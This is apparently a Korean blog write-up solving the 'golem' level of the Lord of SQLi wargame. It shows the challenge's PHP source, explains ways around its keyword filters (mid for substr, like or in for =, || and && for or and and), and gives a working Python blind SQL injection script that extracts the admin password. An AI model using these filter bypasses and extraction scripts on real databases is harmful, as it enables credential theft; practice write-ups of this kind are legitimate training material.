본문 바로가기
  • Show the world what you can do
Web2/LoS

[LoS] golem 풀이

by kaymin 2022. 11. 11.
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

인데, 코드를 보면 preg_match에서 or, and, substr, =을 쓰면 안된다

그래서 각각 우회 방법을 알아야 한다.

 

substr(pw, 2, 1) 우회:

1) substring(pw, 2, 1)

2) mid(pw, 2, 1)

로 우회가 가능

 

= 우회( 예: id='admin'):

1) id like "admin"

2) id in ("admin")

로 우회가 가능

 

이를 이용해서 orge의 코드에서 조금 변형해서 넣으면 된다.

 

그리고 length(pw)={}에서 =을 못쓰므로, length(pw)>{0} and length(pw)<{1}로 해서 넣었다. ({0}=i-1, {1}=i+1)

 

성공한 코드:

import requests

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=' || "
header = {"Cookie":"PHPSESSID=어쩌구"}
ch="0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ!@"
length=0

for i in range(0, 30):
        qry="length(pw)>{0} %26%26 length(pw)<{1} %23".format(i-1, i+1)
        req=requests.get(url+qry, headers=header)
        if "Hello admin" in req.text:
                length=i
                break

print(length)

ans=''
for i in range(1, length+1):
     for j in ch:
        qry="mid(pw, "+str(i)+", 1) like '"+str(j)+"'%23"
        req=requests.get(url+qry, headers=header)
        if "Hello admin" in req.text:
                ans+=j
                break

print(ans)

'Web2 > LoS' 카테고리의 다른 글

[LoS] bugbear 풀이  (0) 2022.11.11
[LoS] darkknight 풀이  (2) 2022.11.11
[LoS] darkelf 풀이  (0) 2022.11.11
[LoS] skeleton 풀이  (0) 2022.11.10
[LoS] vampire 풀이  (0) 2022.11.10

댓글